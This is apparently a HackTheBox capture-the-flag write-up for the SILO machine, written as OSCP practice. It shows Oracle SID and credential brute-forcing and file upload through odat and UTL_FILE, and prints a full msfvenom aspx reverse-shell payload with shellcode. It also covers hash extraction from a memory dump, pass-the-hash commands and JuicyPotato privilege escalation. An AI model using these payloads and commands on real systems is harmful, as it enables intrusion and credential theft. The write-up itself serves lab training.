SILO — HackTheBox WriteUp
This box is a part of TJnull’s list of boxes. I am doing these boxes as a part of my preparation for OSCP. I will be sharing the writeups of the same here as well.
SILO is a LINUX machine, and is of MEDIUM difficulty.
Do a rustscan to check for open ports:
rustscan -a 10.129.184.36 --ulimit 5000 -- -AHere, I ran nmap once too because in the case of a lot of ports, I have noticed that rustscan sometimes misses some of the ports:
nmap -Pn -T 4 -A 10.129.184.36Looks like we didn’t miss any ports.
Anyways, So we have unauthorized Orcale TNS listener open on port 1521. These articles will be helpful:
I ran hydra to bruteforce SIDs:
hydra -L /usr/share/metasploit-framework/data/wordlists/sid.txt -s 1521 silo.htb oracle-sid -t 64 -IYou can also use nmap:
nmap --script +oracle-sid-brute -p 1521 silo.htb -vI got this SID: XE
Let’s try to bruteforce login credentials using odat.
Install odat using apt install. I ran this command for the attack:
odat all -s silo.htb -p 1521 -d XE -vI got the username as password as scott/tiger.
Next I installed sqlplus following this video (I added the PATH change instructions to ~/.zshrc).
Now, I connected to the Oracle TNS server using:
sqlplus scott/tiger@silo.htb/XE;I referred to this page for SQL Plus commands:
Didn’t find anything useful in there. Now, I found that odat also has a command for reading and uploading files.
I tried running this command to get root flag (as we don’t know the user):
odat externaltable -s silo.htb -d XE -U scott -P tiger --getFile "C:\Users\Administrator\Desktop" "root.txt" "root.txt"But it didn’t work. I searched and found these articles:
The user SYSDBA has all the permissions. I added a sysdba flag in the end. The command now became this:
odat externaltable -s silo.htb -d XE -U scott -P tiger --getFile "C:\Users\Administrator\Desktop" "root.txt" "root.txt" --sysdbaAnd I got the root flag! (Note, the root.txt file it downloaded is stored in /usr/share/odat/root.txt)
Now, if you remember we have Port 80 open and Windows IIS server is running. So, maybe we can upload an aspx payload to get shell. I used this command to create a payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.118 LPORT=1234 -f aspx > shell.aspxThen uploaded it using:
odat dbmsxslprocessor -s silo.htb -d XE -U scott -P tiger --putFile "C:\inetpub\wwwroot" "shell.aspx" "/root/opt/silo/shell.aspx" --sysdbaNow, I navigated to http://silo.htb/shell.aspx after setting up an rlwrap nc listener:
And we have got the shell!
Get user.txt from C:\Users\Phineas\Desktop\user.txt.
Now that we know about SYSDBA, I think we can upload this file using SQL plus as well. Connect to SQL plus using:
sqlplus scott/tiger@silo.htb/XE 'as sysdba';Now, I searched and found that there is UTL_FILE package in Oracle PL/SQL which can be used to write/read files. I referred to this video to understand the syntax of UTL_FILE:
Let’s try to read root.txt. First type this in the SQLplus commandline:
set serveroutput on;Then enter this code:
declare
fp utl_file.file_type;
x varchar2(200);
begin
fp:=utl_file.fopen('C:\Users\Administrator\Desktop','root.txt','r');
utl_file.get_line(fp,x);
dbms_output.put_line(x);
utl_file.fclose(fp);
end;
/It successfully reads the root flag!
(If you are curious as to how to read from a file which has multiple lines, this code would be useful)
declare
fp utl_file.file_type;
x varchar2(200);
begin
fp:=utl_file.fopen('C:\Users\Administrator\Desktop','root.txt','r');
loop
utl_file.get_line(fp,x);
dbms_output.put_line(x);
end loop;
exception
when no_data_found then
utl_file.fclose(fp);
end;
/Now, let’s try to put our shell payload. I’m using the same payload I created using msfvenom above. I copied it’s contents and then ran this command:
declare
fp utl_file.file_type;
x varchar2(3500);
begin
x:='<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
private static Int32 MEM_COMMIT=0x1000;
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);protected void Page_Load(object sender, EventArgs e)
{
byte[] qASqK5mJqY = new byte[460] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,
0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,
0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,
0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,
0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,
0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,
0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,
0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x04,0xd2,0x0a,0x0a,0x0e,0x76,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,
0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x4d,0x31,
0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,
0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x48,0x81,0xc4,0x40,0x02,
0x00,0x00,0x49,0xb8,0x63,0x6d,0x64,0x00,0x00,0x00,0x00,0x00,0x41,0x50,0x41,0x50,0x48,0x89,0xe2,0x57,0x57,0x57,0x4d,0x31,0xc0,
0x6a,0x0d,0x59,0x41,0x50,0xe2,0xfc,0x66,0xc7,0x44,0x24,0x54,0x01,0x01,0x48,0x8d,0x44,0x24,0x18,0xc6,0x00,0x68,0x48,0x89,0xe6,
0x56,0x50,0x41,0x50,0x41,0x50,0x41,0x50,0x49,0xff,0xc0,0x41,0x50,0x49,0xff,0xc8,0x4d,0x89,0xc1,0x4c,0x89,0xc1,0x41,0xba,0x79,
0xcc,0x3f,0x86,0xff,0xd5,0x48,0x31,0xd2,0x48,0xff,0xca,0x8b,0x0e,0x41,0xba,0x08,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,
0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,
0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5 };IntPtr p_IvfgVxrYiN = VirtualAlloc(IntPtr.Zero,(UIntPtr)qASqK5mJqY.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
System.Runtime.InteropServices.Marshal.Copy(qASqK5mJqY,0,p_IvfgVxrYiN,qASqK5mJqY.Length);
IntPtr j086 = IntPtr.Zero;
IntPtr uMePEJY = CreateThread(IntPtr.Zero,UIntPtr.Zero,p_IvfgVxrYiN,IntPtr.Zero,0,ref j086);
}
</script>
';
fp:=utl_file.fopen('C:\inetpub\wwwroot','shell2.aspx','w');
utl_file.put(fp,x);
utl_file.fclose(fp);
end;
/
Replace the value in the variable ‘x’ with your own payload. I ran this, and it was successful! Next, I set up a nc listener and visited the following site: http://silo.htb/shell2.aspx.
And yes! I got a reverse shell!
Get Himanshu Das’s stories in your inbox
Join Medium for free to get updates from this writer.
Now, time for privilege escalation.
In Phineas’ home directory in the Desktop folder, we find a file called Oracle Issue.txt. Reading it, we get this:
We have a dropbox link. Let’s open it:
It’s password protected. We are provided a password there, but its first character is corrupted. I think the terminal is not able to render it. Let’s convert it into base64 and then try to decode it. You can use these commands to convert the text into base64:
powershell $fc = Get-Content Oracle` issue.txtpowershell $fe = [System.Text.Encoding]::UTF8.GetBytes($fc)powershell [System.Convert]::ToBase64String($fe)
or if you prefer one-liner then this:
powershell "[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(Get-Content Oracle` issue.txt))"But for some reason these commands were not working (maybe because we are in a Command prompt shell). I copied the file using to the Temp directory:
copy "Oracle issue.txt" C:\Windows\TempI used this command:
certutil -encode "Oracle issue.txt" tmp.b64 && findstr /v /c:- tmp.b64 > data.b64 && del tmp.b64and I got this base64 encoded string:
U3VwcG9ydCB2ZW5kb3IgZW5nYWdlZCB0byB0cm91Ymxlc2hvb3QgV2luZG93cyAv
IE9yYWNsZSBwZXJmb3JtYW5jZSBpc3N1ZSAoZnVsbCBtZW1vcnkgZHVtcCByZXF1
ZXN0ZWQpOg0KDQpEcm9wYm94IGxpbmsgcHJvdmlkZWQgdG8gdmVuZG9yIChhbmQg
cGFzc3dvcmQgdW5kZXIgc2VwYXJhdGUgY292ZXIpLg0KDQpEcm9wYm94IGxpbmsg
DQpodHRwczovL3d3dy5kcm9wYm94LmNvbS9zaC82OXNrcnl6ZnN6YjdlbHEvQUFE
Wm5RRWJicURvSWY1TDJkMFBCeEVOYT9kbD0wDQoNCmxpbmsgcGFzc3dvcmQ6DQqj
JUhtODY0NnVDJA0KI decoded this in CyberChef and got this as the password: £%Hm8646uC$
Let’s go into dropbox and download the file. I got a zip file. I extracted it and got a memory dump. Let’s analyse it using volatility. I ran this command to check the profile:
volatility -f SILO-20180105-221806.dmp imageinfoI got a lot of suggestions. Running systeminfo on the remote machine gives us the OS name: Microsoft Windows Server 2012 R2 Standard. So, I’ll use the profile as: Win2012R2x64. First, let’s try hashdump and see if we can get the hash of Administrator:
volatility -f SILO-20180105-221806.dmp --profile=Win2012R2x64 hashdumpAnd we get the Administrator’s hash!
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7:::
Now, let’s try to use thish hash to get a root shell. You can use either of the two commands:
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7 Administrator@silo.htbor
pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7 //silo.htb cmdAnd we are nt authority\system!
Now, I had run windows exploit suggester as well when I was trying to figure out about the password and found that it may be vulnerable to Rotten Potato. So, let’s try that out as well. But since we are not using metasploit I’m gonna use Juicy Potato for this. You can find more about Rotten Potato in this blog:
I followed the steps in the video below (The video is in Hindi, but if you don’t understand the language don’t worry the steps are shown clearly).
I ran:
whoami /privto check the privileges:
We can see that the SeImpersonatePrivilege is Enabled. A quick Google search led me to this article:
From this website, we can see that it may be vulnerable to Juicy Potato. Refer to these articles for more details on Juicy Potato and Rotten Potato:
Now, I uploaded JuicyPotato.exe to the remote machine. Now, create a windows reverse shell payload using:
msfvenom -p cmd/windows/reverse_powershell LHOST=10.10.14.42 LPORT=4444 > shell.batTransfer it to the remote machine. Now, open a nc listener and run this command:
JuicyPotato.exe -t * -p shell.bat -l 9999(You can use any higher number port instead of 9999)
And we are nt authority\system!
We have successfully pwned the box!









